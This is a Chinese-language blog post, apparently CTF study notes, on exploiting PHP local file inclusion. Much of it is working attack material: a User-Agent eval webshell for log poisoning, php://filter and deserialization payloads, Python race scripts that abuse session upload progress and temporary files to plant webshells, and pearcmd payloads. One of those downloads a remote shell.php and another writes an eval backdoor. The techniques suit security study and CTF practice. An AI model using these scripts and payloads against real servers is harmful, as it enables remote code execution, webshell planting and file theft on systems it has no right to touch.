PHP 安全 include 1azy_fish. 2023-09-05 2024-02-20 分析PHP中的文件包含 日志包含漏洞 日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。
下面是常用的日志路径
apache服务器日志存放文件位置:/var/log/apache/access.log
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log
apache的服务器日志会写入url,nginx的服务器日志会写入user-agent
示例:
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); } ?>
过滤了很多东西,但是这个nginx服务器可以进入/var/log/nginx/access.log
读日志
写入一句话木马
User-Agent = <?php @eval(_$GET['a'])?>
蚁剑连接得到flag
伪协议包含 [php知识点]PHP伪协议
例题
1 2 3 4 5 6 7 8 9 10 11 12 //[MoeCTF 2022]baby_file <html> <title>Here's a secret. Can you find it?</title> <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } ?> </html>
payload:?file=php://filter/convert.base64-encode/resource=flag.php
伪协议的包含可以输出,所以还可以用在一些其它的地方
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } if (isset ($_GET ['d' ])){ unserialize (base64_decode ($_GET ['d' ])); } ?>
一道反序列化,链子:__wakeup->hahaha()->IPO()->echo new $_POST['a']($_POST['b']);
然后调用php的内置类SplFileObject来读取文件内容,但是读取之后没有输出,所以使用伪协议输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 );class teacher { public $name ; public $rank ; public function __construct ( ) { $this ->name = 'ing' ; $this ->rank = 'department' ; } } class classroom { public $name ; public $leader ; public function __construct ( ) { $this ->name = 'one class' ; $this ->leader = new teacher; } } class school { public $department ; public $headmaster ; public function __construct ( ) { $this ->department = new classroom; $this ->headmaster = 'ong' ; } } $a = new school ();echo base64_encode (serialize ($a ));?>
最终payload:
get:d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
post:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
Filterchain FilterChain攻击解析及利用 | Boogiepop Doesn’t Laugh (boogipop.com)
上面的大佬讲的很清楚,我就是一个搬运工。
session-文件包含 如果有
1 2 3 4 5 6 7 8 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); } ?>
进行一个session的文件包含,脚本是抄的(懒得上班了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import ioimport requestsimport threadingsessid = 'Lazy' def POST (session ): f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://ip/index.php' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php phpinfo();?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) with requests.session() as session: while True : POST(session) print ("[+] 成功写入sess_Lazy" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import threadingimport requestsfrom concurrent.futures import ThreadPoolExecutor, waittarget = '' session = requests.session() flag = 'helloworld' def upload (e: threading.Event ): files = [ ('file' , ('load.png' , b'a' * 40960 , 'image/png' )), ] data = {'PHP_SESSION_UPLOAD_PROGRESS' : rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag} '); ?>''' } while not e.is_set(): requests.post( target, data=data, files=files, cookies={'PHPSESSID' : flag}, ) def write (e: threading.Event ): while not e.is_set(): response = requests.get( f'{target} ?file=/tmp/sess_{flag} ' , ) if flag.encode() in response.content: e.set () if __name__ == '__main__' : futures = [] event = threading.Event() pool = ThreadPoolExecutor(15 ) for i in range (10 ): futures.append(pool.submit(upload, event)) for i in range (5 ): futures.append(pool.submit(write, event)) wait(futures)
理解一下吧。最核心的原理就是session的文件的包含
php.ini
如下
session.upload_progress.enabled = On session.upload_progress.cleanup = On session.upload_progress.prefix = “upload_progress_” session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
在这个代理的情况下,可以使用session-文件包含
当开启session
时,服务器都会在一个临时目录下创建一个session
文件来保存会话信息,文件名格式为 sess_PHPSESSID
,一般存在下面的目录之中。
/var/lib/php/ /var/lib/php/sessions/ /tmp/ /tmp/sessions/
它的原理就是你上传文件的时候,会生成一个记录文件上传进度的session,我们通过控制他的内容,可以造成命令注入。
如果关闭了session.upload_progress.enable
呢?
让PHP进程在请求结束前出现异常退出执行,那么临时文件就可以免于被删除了。
LFI via SegmentFault
1 include 'php://filter/string.strip_tags/resource=/etc/passwd' ;
本地文件包含漏洞可以让 php 包含自身从而导致死循环,然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport stringimport itertoolscharset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def upload_file_to_include (url, file_content ): files = {'file' : ('evil.jpg' , file_content, 'image/jpeg' )} try : response = requests.post(url, files=files) except Exception as e: print e def generate_tmp_files (): webshell_content = '<?php eval($_REQUEST[c]);?>' .encode( "base64" ).strip().encode("base64" ).strip().encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % ( webshell_content) phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % ( base_url) length = 6 times = len (charset) ** (length / 2 ) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file_to_include(phpinfo_url, file_content) def main (): generate_tmp_files() if __name__ == "__main__" : main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport stringcharset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files (): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/include.php?f=/tmp/php%s" % ( base_url, filename) print url try : response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main (): brute_force_tmp_files() if __name__ == "__main__" : main()
pearcmd PEAR(PHP Extension and Application Repository)是一个官方的PHP扩展和应用程序存储库。它提供了一种标准的方式来共享和分发PHP代码和扩展,本质是个sh文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/bin/sh if test "x$PHP_PEAR_PHP_BIN " != "x" ; then PHP="$PHP_PEAR_PHP_BIN " else if test "/usr/bin/php" = '@' php_bin'@' ; then PHP=php else PHP="/usr/bin/php" fi fi if test "x$PHP_PEAR_INSTALL_DIR " != "x" ; then INCDIR=$PHP_PEAR_INSTALL_DIR INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR " else if test "/usr/share/php" = '@' php_dir'@' ; then INCDIR=`dirname $0 ` INCARG="" else INCDIR="/usr/share/php" INCARG="-d include_path=/usr/share/php" fi fi exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR /pearcmd.php "$@ "
而pearcmd.php的内容有
pear会在pearcmd.php
获取命令行参数
1 2 3 4 5 6 7 8 9 PEAR_Command ::setFrontendType ('CLI' );$all_commands = PEAR_Command ::getCommands ();$argv = Console_Getopt ::readPHPArgv ();if (php_sapi_name () != 'cli' && isset ($argv [1 ]) && $argv [1 ] == '--' ) { unset ($argv [1 ]); $argv = array_values ($argv ); }
而pear获取命令行参数的函数Consoles/Getopt.php->readPHPArgv()
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static function readPHPArgv ( ) { global $argv ; if (!is_array ($argv )) { if (!@is_array ($_SERVER ['argv' ])) { if (!@is_array ($GLOBALS ['HTTP_SERVER_VARS' ]['argv' ])) { $msg = "Could not read cmd args (register_argc_argv=Off?)" ; return PEAR::raiseError ("Console_Getopt: " . $msg ); } return $GLOBALS ['HTTP_SERVER_VARS' ]['argv' ]; } return $_SERVER ['argv' ]; } return $argv ; }
当执行了pear时,会将$_SERVER['argv']
当作参数一起执行,从而自动拉取了指定的php文件。
所以pearcmd的利用
利用条件:
安装了pear扩展 PHP开启了register_argc_argv
选项 漏洞原理:
PHP的pear扩展是一个命令行扩展管理工具,默认安装路径为/usr/local/lib/php/pearcmd.php
。 当存在文件包含漏洞时,攻击者可以通过构造恶意请求,将命令行参数传递给pearcmd.php文件。 pearcmd.php文件会获取命令行参数,并执行相应的操作。 利用步骤:
确保目标系统安装了pear扩展,并且PHP开启了register_argc_argv
选项。 构造恶意请求,将命令行参数传递给pearcmd.php
文件。 利用命令行参数执行任意命令或获取敏感信息。 利用:
出网:攻击者可以构造一个命令,将恶意马文件下载到服务器上,例如:
?pear+install+-R+/tmp+http://xxxxxxx/shell.php
不出网:来自p神博客 ,例如:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php